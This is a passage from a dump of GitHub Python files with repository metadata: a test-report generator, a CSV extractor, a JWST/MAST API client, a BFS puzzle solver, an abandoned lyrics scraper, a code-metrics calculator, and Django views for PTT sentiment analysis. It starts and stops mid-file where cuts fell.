time.localtime(self.starttime))\n test_result[\"title\"] = self.title\n test_result[\"tester\"] = self.tester\n test_result['desc'] = self.desc\n if test_result['all'] != 0:\n test_result['pass_rate'] = '{:.2f}'.format(test_result['success'] / test_result['all'] * 100)\n else:\n test_result['pass_rate'] = 0\n\n # 获取报告模板\n template_path = os.path.join(os.path.dirname(__file__), '../templates')\n env = Environment(loader=FileSystemLoader(template_path))\n if self.templates == 2:\n template = env.get_template('templates02.html')\n elif self.templates == 3:\n template = env.get_template('templates03.html')\n else:\n template = env.get_template('templates.html')\n file_path = os.path.join(self.report_dir, self.filename)\n # 渲染报告模板\n res = template.render(test_result)\n # 输出报告到文件\n with open(file_path, 'wb') as f:\n f.write(res.encode('utf8'))\n print(\"测试报告已经生成,报告路径为:{}\".format(file_path))\n self.email_conent = {\"file\": os.path.abspath(file_path),\n \"content\": env.get_template('templates03.html').render(test_result)\n }\n\n def send_email(self, host, port, user, password, to_addrs, is_file=True):\n \"\"\"\n 发生报告为附件到邮箱\n :param host: str类型,(smtp服务器地址)\n :param port: int类型,(smtp服务器地址端口)\n :param user: str类型,(邮箱账号)\n :param password: str类型(邮箱密码)\n :param to_addrs: str(单个收件人) or list(多个收件人)收件人列表,\n :return:\n \"\"\"\n sm = SendEmail(host=host, port=port, user=user, password=password)\n if is_file:\n filename = self.email_conent[\"file\"]\n else:\n filename = None\n content = self.email_conent[\"content\"]\n\n sm.send_email(subject=self.title, content=content, filename=filename, to_addrs=to_addrs)\n","repo_name":"githubxuyan/UnitTestReport","sub_path":"unittestreport/core/testRunner.py","file_name":"testRunner.py","file_ext":"py","file_size_in_byte":7428,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"13482585556","text":"import csv\ndef extract(path):\n print(\"Extracting:\")\n with open(\"bots.csv\") as file:\n csv_reader = csv.reader(file)\n next(csv_reader)\n names = \"\"\n for values in csv_reader:\n names += f\"{values[1]}\\n\"\n print(\"Done!\")\n print(f\"The extracted names are as follows:\\n{names}\")\n\n\ndef run():\n extract(\"bots.csv\")\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"lawrencepj13/com728","sub_path":"data/files/csv/extract_csv.py","file_name":"extract_csv.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31868170727","text":"import json\nfrom enum import Enum\nfrom typing import Dict, List\n\nimport requests\n\nbase_url = \"https://mast.stsci.edu/api/v0/invoke\"\n\n\n\"\"\"\nResult Dataset Formats\n{\n\"status\" : \"EXECUTING|COMPLETE|ERROR\",\n\"msg\" : \"message string\",\n\"percent complete\": percentComplete,\n\"paging\": {'page': currPage, 'pageSize': pagesize, 'pagesFiltered': totPages, 'rows': rowsReturned, 'rowsFiltered': totRows, 'rowsTotal': totRows},\n\"fields\": [\n {\"name\":\"column1 name\",\"type\":\"column1 datatype\"},\n {\"name\":\"column2 name\",\"type\":\"column2 datatype\"},\n ...\n ]\n\"data\" : [\n {\"column1 name\": \"row 1 col 1 value\", \"column2 name\": \"row 1 col 2 value\",…},\n {\"column1 name\": \"row 2 col 1 value\", \"column2 name\": \"row 2 col 2 value\",…},\n ...\n ]\n}\n\"\"\"\n\n\nclass MASTService(Enum):\n FILTERED = \"Mast.Caom.Filtered\"\n PRODUCTS = \"Mast.Caom.Products\"\n NIRCAM = \"Mast.Jwst.Filtered.Nircam\"\n NIRISS = \"Mast.Jwst.Filtered.Niriss\"\n NIRSPEC = \"Mast.Jwst.Filtered.Nirspec\"\n MIRI = \"Mast.Jwst.Filtered.Miri\"\n FGS = \"Mast.Jwst.Filtered.Fgs\"\n GUIDESTAR = \"Mast.Jwst.Filtered.GuideStar\"\n WSS = \"Mast.Jwst.Filtered.Wss\"\n\n\n# for reference - from https://mast.stsci.edu/api/v0/pyex.html\ndef download_request(payload, filename, download_type=\"file\"):\n request_url = \"https://mast.stsci.edu/api/v0.1/Download/\" + download_type\n resp = requests.post(request_url, data=payload)\n\n with open(filename, \"wb\") as f:\n f.write(resp.content)\n\n return filename\n\n\ndef mast_api_request(request_dict):\n # url\n base_url = \"https://mast.stsci.edu/api/v0/invoke\"\n\n # construct the request - headers are mandatory\n headers = {\"Content-type\": \"application/x-www-form-urlencoded\"}\n\n # make the request\n res = requests.post(\n url=base_url, data=f\"request={json.dumps(request_dict)}\", headers=headers\n )\n return res\n\n\ndef get_mast_request(\n service: MASTService,\n filters: List[Dict] = None,\n filename: str = None,\n page: int = 1,\n page_size: int = 1000,\n timeout: int = 20,\n) -> Dict:\n mast_request = {\n \"service\": service.value,\n \"params\": {\n \"columns\": \"*\", # this means all columns\n \"filters\": filters if filters is not None else list(),\n }, # see https://mast.stsci.edu/api/v0/_services.html\n \"format\": \"json\",\n \"page\": page,\n \"pagesize\": page_size,\n \"timeout\": timeout,\n }\n if filename is not None:\n mast_request[\"filename\"] = filename\n return mast_request\n\n\ndef get_filter_params(\n column: str, values: List = None, separator: str = None, search_text: str = None\n) -> Dict:\n \"\"\"\n Constructor for jwst filter params.\n :param column: String The column name to be filtered\n :param values: Optional List Acceptable values or range in the form\n [{\"min\": min_value, \"max\": max_value}].\n :param separator: Optional String Separator for multivalued columns (eg region?)\n :param search_text: Optional String A search term (can use wildcard character %)\n :return:\n \"\"\"\n filter_dict = {\n \"paramName\": column,\n \"values\": values if values is not None else list(),\n }\n if separator is not None:\n filter_dict[\"separator\"] = separator\n if search_text is not None:\n filter_dict[\"freeText\"] = search_text\n return filter_dict\n\n\nif __name__ == \"__main__\":\n jwst_filter = get_filter_params(column=\"obs_collection\", values=[\"JWST\"])\n products_request = get_mast_request(\n service=MASTService.FILTERED,\n filters=[jwst_filter],\n )\n products_data = mast_api_request(request_dict=products_request)\n print(products_data.json())\n","repo_name":"rogermilroy/JWSTHack","sub_path":"app/mast_api/mast_api.py","file_name":"mast_api.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10182582263","text":"import sys\nfrom collections import deque\n\n\ninput = lambda : sys.stdin.readline().rstrip()\n\nn, m, h = map(int, input().split())\n\narr = [[] for _ in range(h)]\n\nfor i in range(h):\n for j in range(m):\n arr[i].append(list(map(int,input().split())))\n\ntomato = []\nfor i in range(h):\n for j in range(m):\n for k in range(n):\n if arr[i][j][k] == 1:\n tomato.append([i,j,k])\n\ndx = [-1, 1, 0, 0, 0, 0]\ndy = [0, 0, -1, 1, 0, 0]\ndz = [0, 0, 0, 0, -1, 1]\n\ndef bfs():\n queue = deque(tomato)\n cnt = -1\n while queue:\n qlen = len(queue)\n cnt +=1\n while qlen:\n z, y, x = queue.popleft()\n for i in range(6):\n nz, ny, nx = z + dz[i], y + dy[i], x + dx[i]\n if nz <= -1 or nz >= h or ny <= -1 or ny >= m or nx <= -1 or nx >= n:\n continue\n if arr[nz][ny][nx] == 0:\n arr[nz][ny][nx] = 1\n queue.append([nz, ny, nx])\n qlen -=1\n return cnt\n\ndef zero_found(arr):\n flag = True\n for i in range(h):\n for j in range(m):\n for k in range(n):\n if arr[i][j][k] ==0:\n flag = False\n return flag\n return flag\n\nresult = bfs()\nprint(result if zero_found(arr) else -1 )\n","repo_name":"minsu4107/Algorithm","sub_path":"Back/실딱이/7569.토메이토.py","file_name":"7569.토메이토.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20912061593","text":"'''\n #! ------------------------------ !#\n #! ESTE EJERCICIO ESTÁ DESCARTADO !#\n #! ------------------------------ !#\n #! LA PÁGINA DE GENIUS.COM BLOQUÉA #\n #! LA BÚSQUEDA DE LETRAS, POR ENDE #\n #! NO ES BUENA IDEA FORZAR LAS PET #\n #! TICIONES, AUN SI ES POSIBLE. #\n #! ------------------------------ !#\n'''\n\nimport requests\nimport lxml.html as html\n\ndef getSongPage():\n\n '''\n PIDE AL USUARIO UNA CANCIÓN.\n RETONA EL URIL QUE DEBERÍA EJECUTAR\n PARA ENCONTRAR EL LYRICS.\n '''\n\n # PIDE AL USUARIO EL NOMBRE DE LA CANCIÓN #\n rola = input(\"\\nNombre de una canción: \")\n\n '''\n EL NOMBRE DE LA CANCIÓN SE DEBERÁ INGRESAR DENTRO\n DE UN URL, POR ENDE, DEBEMOS REEMPLAZAR LOS ESPACIOS\n POR EL EQUIVALENTE A UN ESPACIO DENTRO DE URLS: \"%20\",\n ADEMÁS DE HACER CIERTAS VALIDACIONES PARA LOS ESPACIOS;\n '''\n # Se eliminan los espacios al principio y al final...\n rola = rola.strip()\n\n # Se eliminan los espacios duplicados...\n rola = \" \".join(rola.split())\n\n # Se reemplazan los espacios por \"%20\"...\n rola = rola.replace(\" \", \"%20\")\n # print(\"\\n\", rola)\n\n '''\n YA TENIENDO EL TÍTULO DE LA CANCIÓN, SE PLANTEA QUE\n ESTA SEA REEMPLAZADA EN EL LINK DE BÚSQUEDA EN LA\n PLATAFORMA DE \"genius.com\", PARA HACER SCRAPING A\n LA LETRA. OBTENIENDO PRIMERO EL HTML...\n\n https://genius.com/search?q=ROLA\n '''\n geniusSearchURI = \"https://genius.com/search?q=\"\n\n print(geniusSearchURI + rola)\n return geniusSearchURI + rola\n\n\ndef getSongURL(songURL):\n\n '''\n HACE LA PETICIÓN A LA WEB DE GENIUS UTILIZANDO LA\n LIBRERÍA REQUESTS PARA OBTENER EL HTML DE LA BÚSQUEDA...\n RETORNA EL HTML...\n '''\n\n #! EL TRY CATCH DEBE IMPLEMENTARSE DESPUÉS DE LA FUNCIÓN...\n '''\n try:\n songHTMLResponse = requests.get(songURL)\n\n #* SI LA RESPUESTA FUER CORRECTA #\n if songHTMLResponse.status_code == 200:\n\n #/ SE GUARDA LA PÁGINA EN UN HTML #\n with open(\"html-search.html\", \"w\", encoding=\"utf-8\") as file:\n file.write(songHTMLResponse.text)\n\n #/ AQUÍ SE EXTRAE EL HTML DE LA PÁGINA DE BÚSQUEDA #\n searchPageHTML = songHTMLResponse.content.decode(\"utf-8\")\n # print(searchPageHTML)\n\n #? AHORA ES NECESARIO UTILIZAR LA EXPRESIÓN DE XPATH\n #? CONSTRUÍDA, PARA OBTENER EL URL DE LA PÁGINA DE LA\n #? CANCIÓN QUE SE BUSCARÁ.\n XPATH_GET_SONG_URL = '/descendant::a[@class=\"mini_card\"][2]/@href'\n HTMLParseado = html.fromstring(searchPageHTML)\n # print(HTMLParseado)\n return HTMLParseado.xpath(XPATH_GET_SONG_URL)\n\n else:\n raise ValueError(\"Error \", songHTMLResponse.status_code)\n \n except ValueError as error:\n print(error)\n '''\n\n\n''' SE EXPLICA QUE ASÍ SE DEFINE UN PUNTO DE EJECUCIÓN '''\nif __name__ == '__main__':\n\n # Punto de ejecución #\n print(getSongURL(getSongPage()))","repo_name":"arhcoder/Curso-creando-bots-de-Twitter","sub_path":"02. Scraping/genius-lyrics.py","file_name":"genius-lyrics.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"70884577473","text":"import os, fnmatch\nimport math\nimport ast\nimport re\n\n\ndef find_files(directory, pattern):\n for root, dirs, files in os.walk(directory):\n for basename in files:\n if fnmatch.fnmatch(basename, pattern):\n filename = os.path.join(root, basename)\n yield filename\n\ndef calculate_cc(filepath):\n with open(filepath, 'r') as f:\n code = f.read()\n # count the number of if, for, while, switch statements\n num_branches = code.count('if') + code.count('for') + code.count('while') + code.count('switch')\n # calculate the number of nodes and edges\n num_nodes = num_branches + 1\n num_edges = num_branches * 2\n # calculate the number of connected components (assume 1)\n num_components = 1\n # calculate Cyclomatic Complexity\n cc = num_edges - num_nodes + 2 * num_components\n return cc\n \ndef calculate_mi(filepath):\n with open(filepath, 'r') as f:\n code = f.read()\n # calculate the Halstead Volume\n unique_operators = len(set(re.findall(r'[+\\-*/%&|^~<>=!]+', code)))\n unique_operands = len(set(re.findall(r'\\b\\w+\\b', code)))\n total_operators = len(re.findall(r'[+\\-*/%&|^~<>=!]+', code))\n total_operands = len(re.findall(r'\\b\\w+\\b', code))\n volume = (total_operators + total_operands) * math.log2(unique_operators + unique_operands)\n # calculate the Maintainability Index\n cc = calculate_cc(filepath)\n loc = len(code.split('\\n'))\n mi = 171 - 5.2 * math.log(volume) - 0.23 * cc - 16.2 * math.log(loc)\n return mi\n\ndef get_fan_in(function_name):\n fan_in = set()\n for root, dirs, files in os.walk(\"extracts\"):\n for filename in files:\n if filename.endswith(\".py\"):\n with open(os.path.join(root, filename)) as f:\n for line in f:\n if function_name in line and \"def\" in line:\n fan_in.add(line.split(\"def \")[1].split(\"(\")[0])\n return fan_in\n \ndef get_fan_out(current_function_name, source_code):\n fan_out = set()\n for line in source_code.split(\"\\n\"):\n if current_function_name in line and \"(\" in line:\n called_function_name = line.split(\"(\")[0].strip().split(\" \")[-1]\n if called_function_name != current_function_name:\n fan_out.add(called_function_name)\n return fan_out\n\ndef calculate_fan_in_out(filepath):\n with open(filepath, 'r') as f:\n code = f.read()\n tree = ast.parse(code)\n fan_in = 0\n fan_out = 0\n for node in ast.walk(tree):\n if isinstance(node, ast.FunctionDef):\n fan_in += len(get_fan_in(node.name))\n fan_out += len(get_fan_out(node.name, code))\n return (fan_in, fan_out)\n\ndef calculate_nesting_depth(filepath):\n with open(filepath, 'r') as f:\n code = f.read()\n tree = ast.parse(code)\n max_depth = 0\n current_depth = 0\n for node in ast.walk(tree):\n if isinstance(node, ast.FunctionDef):\n current_depth = 0\n for child in ast.walk(node):\n if isinstance(child, (ast.FunctionDef, ast.ClassDef)):\n current_depth += 1\n max_depth = max(max_depth, current_depth)\n elif isinstance(node, ast.ClassDef):\n current_depth = 1\n max_depth = max(max_depth, current_depth)\n return max_depth\n\ndef calculate_number_of_methods(filepath):\n with open(filepath, 'r') as f:\n code = f.read()\n tree = ast.parse(code)\n nb_methods = 0 \n for node in ast.walk(tree):\n if isinstance(node, ast.FunctionDef):\n nb_methods += 1\n elif isinstance(node, ast.ClassDef):\n nb_methods += len([x for x in node.body if isinstance(x, ast.FunctionDef)])\n return nb_methods\n\ndef calculate_metrics(directory):\n allMetrics = []\n for pfile in find_files(directory, '*.py'):\n try:\n currentMetric = {\"filename\" : pfile.replace('extracts/', '', 1), \"metrics\" : calculate_metric(pfile)}\n allMetrics.append(currentMetric)\n pass\n except Exception as e:\n currentMetric = {\"filename\" : pfile.replace('extracts/', '', 1), \"metrics\" : {}, \"error\": str(e)}\n allMetrics.append(currentMetric)\n pass\n return allMetrics\n\ndef calculate_metric(filename):\n # calculate LOC\n with open(filename, 'r') as f:\n loc = len(f.readlines())\n \n # calculate Cyclomatic Complexity\n cc = calculate_cc(filename)\n \n # calculate Maintainability Index\n mi = calculate_mi(filename)\n \n # calculate Fan-in and Fan-out\n fan_in, fan_out = calculate_fan_in_out(filename)\n \n # calculate Nesting Depth\n nd = calculate_nesting_depth(filename)\n \n # calculate Number of Methods\n nom = calculate_number_of_methods(filename)\n\n metrics = {\n \"Cyclomatic complexity\": cc,\n \"Maintainability index\": mi,\n \"Fan-in and fan-out\": {\n \"in\" : fan_in,\n \"out\" : fan_out\n },\n \"Nesting depth\": nd,\n \"Number of methods\": nom,\n \"Lines of code\": loc\n }\n \n return metrics\n","repo_name":"ksverchkov/OnlineCodeAnalyzer","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24645297389","text":"from django.shortcuts import render\r\nfrom crawler.models import pttdata\r\nimport csv\r\nimport numpy as np\r\nimport datetime\r\nimport re\r\n\r\n \r\n\r\ndef change_to_table(pos_dict_temp):\r\n\r\n\tpos_dict=dict()\r\n\ttemp_keyword=[]\r\n\tlist1=[]\r\n\ttemp=[]\r\n\tif len(pos_dict_temp)==1:\r\n\t\ti=0\r\n\t\ttemp_keyword.append(pos_dict_temp[i][\"keyword\"])\r\n\t\t\t#dict1={\"title\":pos_dict[i]['title'],\"date\":pos_dict[i]['date'],\"href\":pos_dict[i]['href'],\"keyword\":temp_keyword}\r\n\t\tdict1={\"title\":pos_dict_temp[i][\"title\"]}\r\n\t\tdict2={\"date\":pos_dict_temp[i][\"date\"]}\r\n\t\tdict3={\"href\":pos_dict_temp[i][\"href\"]}\r\n\t\tdict4={\"keyword\":temp_keyword}\r\n\t\tlist1=[dict1,dict2,dict3,dict4]\r\n\t\ttemp_keyword=[]\r\n\t\ttemp.append(list1)\r\n\t\tlist1=[]\r\n\tfor i in range(len(pos_dict_temp)-1):\r\n\r\n\t\t\t\r\n\t\tif pos_dict_temp[i][\"title\"]==pos_dict_temp[i+1][\"title\"]:\r\n\t\t\ttemp_keyword.append(pos_dict_temp[i][\"keyword\"])\r\n\t\telse:\r\n\t\t\ttemp_keyword.append(pos_dict_temp[i][\"keyword\"])\r\n\t\t\t#dict1={\"title\":pos_dict[i]['title'],\"date\":pos_dict[i]['date'],\"href\":pos_dict[i]['href'],\"keyword\":temp_keyword}\r\n\t\t\t#print(pos_dict_temp[i][\"title\"],temp_keyword)\r\n\t\t\tdict1={\"title\":pos_dict_temp[i][\"title\"]}\r\n\t\t\tdict2={\"date\":pos_dict_temp[i][\"date\"]}\r\n\t\t\tdict3={\"href\":pos_dict_temp[i][\"href\"]}\r\n\t\t\tdict4={\"keyword\":temp_keyword}\r\n\t\t\tlist1=[dict1,dict2,dict3,dict4]\r\n\t\t\ttemp_keyword=[]\r\n\t\t\ttemp.append(list1)\r\n\t\t\tlist1=[]\r\n\t\tif i ==len(pos_dict_temp)-2:\r\n\t\t\ta=len(pos_dict_temp)-1\r\n\t\t\ttemp_keyword.append(pos_dict_temp[a][\"keyword\"])\r\n\t\t\t#dict1={\"title\":pos_dict[i]['title'],\"date\":pos_dict[i]['date'],\"href\":pos_dict[i]['href'],\"keyword\":temp_keyword}\r\n\t\t\tdict1={\"title\":pos_dict_temp[a][\"title\"]}\r\n\t\t\tdict2={\"date\":pos_dict_temp[a][\"date\"]}\r\n\t\t\tdict3={\"href\":pos_dict_temp[a][\"href\"]}\r\n\t\t\tdict4={\"keyword\":temp_keyword}\r\n\t\t\tlist1=[dict1,dict2,dict3,dict4]\r\n\t\t\ttemp_keyword=[]\r\n\t\t\ttemp.append(list1)\r\n\t\t\tlist1=[]\r\n\tpos_dict=temp\r\n\treturn pos_dict\r\n\r\ndef pos_table(request):\r\n\tpos_dict=request.session['pos_dict'] \r\n\tpos_dict=change_to_table(pos_dict)\r\n\treturn render(request, 'table.html',locals())\r\n\r\ndef neg_table(request):\r\n\tneg_dict=request.session['neg_dict'] \r\n\tpos_dict=change_to_table(neg_dict)\r\n\treturn render(request, 'table.html',locals())\r\n\r\n\r\ndef neg_fin_table(request):\r\n\tneg_fin_dict=request.session['neg_fin_dict'] \r\n\tpos_dict=change_to_table(neg_fin_dict)\r\n\treturn render(request, 'table.html',locals())\r\n\r\ndef pos_fin_table(request):\r\n\tpos_fin_dict=request.session['pos_fin_dict'] \r\n\tpos_dict=change_to_table(pos_fin_dict)\r\n\r\n\treturn render(request, 'table.html',locals())\r\n\r\n\r\n# Create your views here.\r\ndef new_trend(date):\r\n\tnews_trend_count= dict()\t\t#關鍵字趨勢的dict\r\n\tfor one in date:\r\n\t\tif one in news_trend_count:\r\n\t\t\tnews_trend_count[one] += 1\r\n\t\telse:\r\n\t\t\tnews_trend_count[one] = 0\r\n\treturn news_trend_count\r\n\t#print(news_trend_count)\r\n\r\n\r\n\r\n\tfilter_data=[]\t#提取情緒字典\r\n\tfor i in range(len(title)):\r\n\t\tif title[i]!=\"None\" and href[i]!=\"None\":\r\n\t\t\tdict1={\"title\":title[i],\"date\":date[i],\"href\":href[i]}\r\n\t\t\t\r\n\t\t\tfilter_data.append(dict1)\r\n\r\n\r\ndef sent_trend(title,content,date,href,sent_dict):\r\n\tsent_trend_count= dict()\t\t#關鍵字趨勢 by date 的dict\r\n\tsent_text_count= dict()\r\n\tfilter_data=[]\r\n\r\n\tfor i in range(len(date)):\r\n\t\ttemp=0\r\n\t\tfor j in range(len(sent_dict)):\r\n\t\t\tif (sent_dict[j] in title[i] or sent_dict[j] in content[i])and len(sent_dict[j])>1:\r\n\t\t\t\ttemp=1\r\n\t\t\t\t#print(sent_dict[j])\r\n\t\t\t\tdict1={\"title\":title[i],\"date\":date[i],\"href\":href[i],\"keyword\":sent_dict[j]}\r\n\t\t\t\tfilter_data.append(dict1)\r\n\t\t\t\tif sent_dict[j] in sent_text_count : \t\r\n\t\t\t\t\tsent_text_count[sent_dict[j]] += 1\r\n\t\t\t\telif sent_dict[j] not in sent_text_count: \r\n\t\t\t\t\tsent_text_count[sent_dict[j]] =1\r\n\r\n\t\tif temp ==1:\r\n\t\t\tif date[i] in sent_trend_count: \t\r\n\t\t\t\tsent_trend_count[date[i]] += 1\r\n\t\t\telse:\r\n\t\t\t\tsent_trend_count[date[i]] =1\r\n\t\t\t\t\r\n\t\telif temp==0:\r\n\t\t\tif date[i] in sent_trend_count: \t\r\n\t\t\t\tpass\r\n\t\t\telse:\r\n\t\t\t\tsent_trend_count[date[i]] =0\r\n\r\n\treturn sent_trend_count,sent_text_count,filter_data\r\n\r\n\r\ndef company_count_function(company,title,content):\r\n\r\n\tcompany_count= dict()\t\t#關鍵字趨勢的dict\r\n\tfor one in company:\r\n\t\tfor i in range(len(title)):\r\n\t\t\tif one in title[i] or one in content[i]:\r\n\t\t\t\tif one in company_count or one in company_count:\r\n\t\t\t\t\tcompany_count[one] += 1\r\n\t\t\t\t\t#print(one,title[i])\r\n\t\t\t\telse:\r\n\t\t\t\t\tcompany_count[one] = 1\r\n\t\t\telse:\r\n\t\t\t\tpass\r\n\treturn company_count\r\n\t\r\ndef normalize(d, target=50):\r\n raw = sum(d.values())\r\n if raw==0:\r\n \traw=1\r\n if len(d)==1:\r\n target=10\r\n factor = target/raw\r\n return {key:value*factor for key,value in d.items()}\r\n\r\ndef sent_dict():\r\n\t#輸入情感字典\r\n\twith open('static/NTUSD/negatives整理.txt', mode='r', encoding='utf-8') as f:\r\n\t\tnegs = f.readlines()\r\n\twith open('static/NTUSD/positives整理.txt', mode='r', encoding='utf-8') as f:\r\n\t\tposs = f.readlines()\r\n\tpos = []\r\n\tfor i in poss:\r\n\t\ta=re.findall(r'\\w+',i) \r\n\t\tpos.extend(a)\r\n\tneg = []\r\n\tfor i in negs:\r\n\t\ta=re.findall(r'\\w+',i) \r\n\t\tneg.extend(a)\r\n\treturn pos,neg\r\n\r\n\r\ndef fin_dict():\r\n\t#輸入情感字典\r\n\twith open('static/NTUSD/negatives金融.txt', mode='r', encoding='utf-8') as f:\r\n\t\tnegs = f.readlines()\r\n\twith open('static/NTUSD/positives金融.txt', mode='r', encoding='utf-8') as f:\r\n\t\tposs = f.readlines()\r\n\tpos_fin = []\r\n\tfor i in poss:\r\n\t\ta=re.findall(r'\\w+',i) \r\n\t\tpos_fin.extend(a)\r\n\tneg_fin = []\r\n\tfor i in negs:\r\n\t\ta=re.findall(r'\\w+',i) \r\n\t\tneg_fin.extend(a)\r\n\treturn pos_fin,neg_fin\r\n\r\ndef all_company_name():\r\n#輸入公司字典\r\n\twith open('static/NTUSD/all_company_name.txt', mode='r', encoding='utf-8') as f:\r\n\t\ttemps = f.readlines()\r\n\tcompany = []\r\n\tfor i in temps:\r\n\t\ta=re.findall(r'\\w+',i) \r\n\t\tcompany.extend(a)\r\n\treturn company\r\n\r\n\r\ndef Fin_chart(title,content,pos_fin,neg_fin):#Financual Sentiment Chart\r\n\tpos_fin_count=0\r\n\tneg_fin_count=0\r\n\tfor j in range(len(title)):\r\n\t\tfor i in range(len(pos_fin)):\r\n\t\t\tif pos_fin[i] in title[j] or pos_fin[i] in content[j]:\r\n\t\t\t\tpos_fin_count=pos_fin_count+1\r\n\t\t\t\t\t#print(pos_fin[i],title[j])\r\n\tfor j in range(len(title)):\r\n\t\tfor i in range(len(neg_fin)):\r\n\t\t\tif neg_fin[i] in title[j] or neg_fin[i] in content[j]:\r\n\t\t\t\tneg_fin_count=neg_fin_count+1\r\n\t\t\t\t\t#print(neg_fin[i],title[j])\r\n\r\n\treturn pos_fin_count,neg_fin_count\r\n\r\ndef range_filter(Start_Date,End_Date,filter_title,filter_author,filter_content,filter_date,filter_href,filter_pushcount):\r\n\ttempday=End_Date\r\n\tdayrange=End_Date-Start_Date\r\n\tdayrange=(int(str(dayrange.days))+1)\r\n\t#import datetime\r\n\t#d1 = datetime.datetime.strptime(Start_Date, '%Y-%m-%d')\r\n\timport datetime\r\n\tprint(Start_Date,End_Date,dayrange)\r\n\r\n\tdaylist=[]\r\n\ttitle=[]\r\n\tauthor=[]\r\n\tcontent=[]\r\n\tdate=[]\r\n\thref=[]\r\n\tpushcount=[]\r\n\r\n\tz=0\r\n\ttemp=0\r\n\tfor j in range(dayrange): \t\t\t #塞選二週的新聞\r\n\t\t\r\n\t\tsomeday = End_Date #預設從當天開始算\r\n\t\t#day=someday.strftime(\"%m/%d\")\r\n\r\n\r\n\t\ttempday += datetime.timedelta(days = -1)\r\n\t\tdaytemp=tempday.strftime(\"%m/%d\")\r\n\t\tdaylist.append(daytemp) #14天的日期\r\n\r\n\t\tif j==0:\r\n\t\t\ttemp ==1\r\n\t\t\r\n\t\tsomeday += datetime.timedelta(days = -z)\r\n\t\tday=someday.strftime(\"%m/%d\")\r\n\t\tfor i in range(len(filter_date)-1,-1,-1):\r\n\t\t\tif filter_date[i]==day:\r\n\t\t\t#\tprint(\"就是這天\",day)\r\n\t\t\t\ttitle.append(filter_title[i])\r\n\t\t\t\tauthor.append(filter_author[i])\r\n\t\t\t\tcontent.append(filter_content[i])\r\n\t\t\t\tdate.append(filter_date[i])\r\n\t\t\t\thref.append(filter_href[i])\r\n\t\t\t\tpushcount.append(filter_pushcount[i]) #把日期資料濾開\r\n\t\t\telse:\r\n\t\t\t\ttemp=1\r\n\t\tif temp ==1:\t\t\r\n\t\t\t#print(\"沒有這天\",day)\r\n\t\t\ttitle.append(\"None\")\r\n\t\t\tauthor.append(\"None\")\r\n\t\t\tcontent.append(\"None\")\r\n\t\t\tdate.append(day)\r\n\t\t\thref.append(\"None\")\r\n\t\t\tpushcount.append(\"None\") #把日期資料濾開\r\n\t\t\ttemp=0\r\n\t\t#print(title)\r\n\t\tz=z+1\r\n\t\t#print(someday.strftime(\"%m/%d\"))\r\n\treturn title,author,content,date,href,pushcount\r\n\r\ndef take_dic(a,number):\r\n\tn = number\r\n\tL = sorted(a.items(),key=lambda item:item[1],reverse=True)\r\n\tL = L[:n]\r\n\t#print(L)\r\n\tdictdata = {}\r\n\tfor l in L:\r\n\t\tdictdata[l[0]] = l[1]\r\n\t#print(dictdata)\r\n\treturn dictdata\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Create your views here.\r\ndef hello_view(request):\r\n\r\n\tsearch = request.POST.get('search', None)\r\n\tsearch = str(search)\r\n\r\n\tsearch1=request.GET.get('search1')\r\n\tStart_Date=request.GET.get('Start_Date') # 获取参数值\r\n\tEnd_Date=request.GET.get('End_Date')\r\n\r\n\tprint(search,search1)\r\n\r\n\r\n\r\n\t#day_range=End_Date-Start_Date\r\n\t#import datetime\r\n\t#d1 = datetime.datetime.strptime(Start_Date, '%Y-%m-%d')\r\n\t#day_range=int(str(day_range.days))\r\n\t#print(\"現在時間\",Start_Date,End_Date,search1)\r\n\t#print(day_range,type(day_range))\r\n\r\n\r\n\tif search==\"None\" and search1==\"None\":\r\n\t\tprint('search==\"None\"')\r\n\t\t#print(search1)\r\n\t\t#search=\"search\"\r\n\t\treturn render(request, 'index.html', locals())\r\n\r\n\r\n\r\n\r\n\r\n\r\n\telse:\r\n\t\tprint(Start_Date,End_Date,type(End_Date))\r\n\t\t# if search1!=\"None\":\r\n\t\t# \tsearch=search1\r\n\t\t# Start_Date=request.GET.get('Start_Date') # 获取参数值\r\n\t\t# End_Date=request.GET.get('End_Date')\r\n\t\tif Start_Date==None or End_Date==None:\r\n\t\t\t\r\n\t\t\tStart_Date=\"2019-10-10\"\r\n\t\t\tEnd_Date=\"2019-10-18\"\r\n\t\t\tStart_Date=datetime.datetime.strptime(Start_Date,\"%Y-%m-%d\")\r\n\t\t\tEnd_Date=datetime.datetime.strptime(End_Date,\"%Y-%m-%d\")\r\n\t\telse:\r\n\t\t\tif search==\"None\":\r\n\t\t\t\tsearch=search1\r\n\t\t\tStart_Date=datetime.datetime.strptime(Start_Date,\"%Y-%m-%d\")\r\n\t\t\tEnd_Date=datetime.datetime.strptime(End_Date,\"%Y-%m-%d\")\r\n\r\n\r\n\t\tall_data = pttdata.objects.all()\r\n\t\talldata_title = []\r\n\t\talldata_author = []\r\n\t\talldata_content = []\r\n\t\talldata_date = []\r\n\t\talldata_href = []\r\n\t\talldata_pushcount = []\r\n\r\n\r\n\t\t#a=all_data[1].title\r\n\t\tfilter_title=[]\r\n\t\tfilter_author=[]\r\n\t\tfilter_content=[]\r\n\t\tfilter_date=[]\r\n\t\tfilter_href=[]\r\n\t\tfilter_pushcount=[]\r\n\r\n\t\tfor i in range(len(all_data)):\r\n\t\t\talldata_title.append(all_data[i].title)\r\n\t\t\talldata_author.append(all_data[i].author)\r\n\t\t\talldata_content.append(all_data[i].content)\r\n\r\n\t\t\ttemp=all_data[i].date.strftime(\"%m/%d\")\r\n\t\t\talldata_date.append(str(temp))\r\n\t\t\talldata_href.append(all_data[i].href)\r\n\t\t\talldata_pushcount.append(all_data[i].pushcount) #把新聞資料濾開\r\n\r\n\r\n\t\t\tif \"新聞\" in 